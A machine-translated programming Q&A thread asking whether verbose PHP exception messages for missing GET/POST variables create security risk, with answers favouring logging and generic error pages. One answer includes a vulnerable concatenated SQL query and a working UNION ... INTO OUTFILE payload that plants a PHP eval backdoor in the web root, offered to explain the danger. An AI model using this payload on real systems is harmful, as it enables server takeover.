2010-06-30 62 views
6

我目前使用isset()檢查每個GET和POST變量,並在isset()返回false時拋出異常。詳細的異常/錯誤消息是否存在安全風險?

例1:

if(!isset($_GET['some_var'])) 
    throw new Exception('GET variable [some_var] is not set.'); 

$someVar = $_GET['some_var']; 

例2:

if(!isset($_GET['some_num'])) 
    throw new Exception('GET variable [some_num] is not set.'); 

if(!ctype_digit($_GET['some_num'])) 
    throw new Exception('GET variable [some_num] is not a number.'); 

$someNum = $_GET['some_num']; 

在我的生產應用程序,我有一個全球性的異常處理程序,它的帖子異常和錯誤日誌文件,然後重定向到一個通用的道歉頁面。

這是一個好的做法?描述性的異常和錯誤信息(如高於安全風險的信息)(黑客是否有可能讀取異常通知,然後使用該信息來操作我的腳本)?

謝謝!

+0

由於它看起來像只是顯示GET參數的內容,通過查看URL可用的數據,我沒有看到除了引起注意之外,這可能是一個安全風險。 編輯:沒有意識到你在錯誤消息中區分不同的數據類型 - 我想這個知識可能會被利用到某個端點,但如果你正在消毒輸入,我想不出如何。 – junkforce 2010-06-30 04:08:43

回答

2

「是否有可能黑客能夠讀取異常通知,然後使用該信息來操作我的腳本?」

也許吧。

通常,您希望在錯誤情況下向最終用戶提供最少量的信息。在這種情況下,如果您告訴某人特定的get變量不存在,那麼他們可能會嘗試向該變量提供隨機值以查看應用程序的行爲。

當然,您還必須根據真實用戶的需求來平衡這一點。如果這個變量是他們通常可以控制的變量,那麼給出關於該值的問題的答案是完全可以接受的。

UPDATE

最近剛剛運行到網絡API的接連發生,似乎想扔一般性錯誤消息是去我想稍微更新這種方式。

Web API向消費系統提供適量的信息至關重要,以便他們能夠找出問題並修復它。

在付款處理API的最近一個案例中,他們的文檔完全是錯誤的。他們顯示的測試交易數據一直以「服務器錯誤500」返回,我們沒有辦法,只能讓他們的一位開發人員通過電話,並精心地逐步遍歷其XML中的每個元素。在50個元素中,只有一個與其「開發者文檔」中的名稱相同
在另一個集成中,我們被給予「服務器錯誤402」。 - 這一個不是支付網關。雖然從來沒有在他們的文檔中引用,但顯然這個消息意味着缺少JSON參數。順便說一句,這是一個參數,在他們的文檔中沒有引用,並且他們的開發人員再次需要時間來識別它。

在上述兩種情況下,如果錯誤消息以一個有效的文檔帖子爲例進行響應,它將會非常有幫助。類似於傳遞錯誤參數時,舊的Unix/DOS命令將如何返回幫助信息。我真的不想和其他程序員談談。我知道他們的時間非常昂貴,他們寧願做一些事情,而不是回答支持電話;但更重要的是,如果我在晚上10點工作並需要RFN答案,那麼等到程序員第二天才能接通電話時,這種情況很少是一種選擇。

2

向用戶顯示詳細的錯誤可能是安全風險。因爲在這種情況下,它們只被寫入日誌文件,用戶獲得的唯一數據就是一個沒有任何顯示的通用頁面,您可以根據自己的喜好進行描述,除非日誌被泄露,否則不會泄露任何內容。

0

通常認爲在生產服務器上打印PHP系統錯誤消息而不是默默記錄它是不安全的。
雖然我在通用道歉頁面找不到任何危險的東西。

3

記錄錯誤和抑制輸出是恰好你應該怎麼做。錯誤報告可以討厭..

在OWASP排名前10位,2007年有Information Leakage and Improper Error Handling,然而這是在2010年通過去除在php.ini中設置dispaly_errors=On你變得脆弱CWE-200。您的Web應用程序的完整路徑將被泄露給攻擊者。更糟糕的是,通過啓用錯誤報告,通過查找sql​​錯誤消息可以更容易地找到SQL注入。

當組合這對PHP/MySQL的應用程序,您可以執行一個非常嚴重的攻擊

$vuln_query="select name from user where id=".$_GET[id]; 

如果

http://localhost/vuln_query.php?id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php" 

這使得這個完整的查詢:

select name from user where id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php" 

我會確保display_errors=Off和那個文件FILE特權已被撤銷到您的Web應用程序的MySQL用戶帳戶。

+0

爲什麼接收到-1? – 2010-07-01 16:06:12

+1

@letseatfood有幾個人因此給我-1,因爲我是個混蛋:) – rook 2010-07-01 17:57:33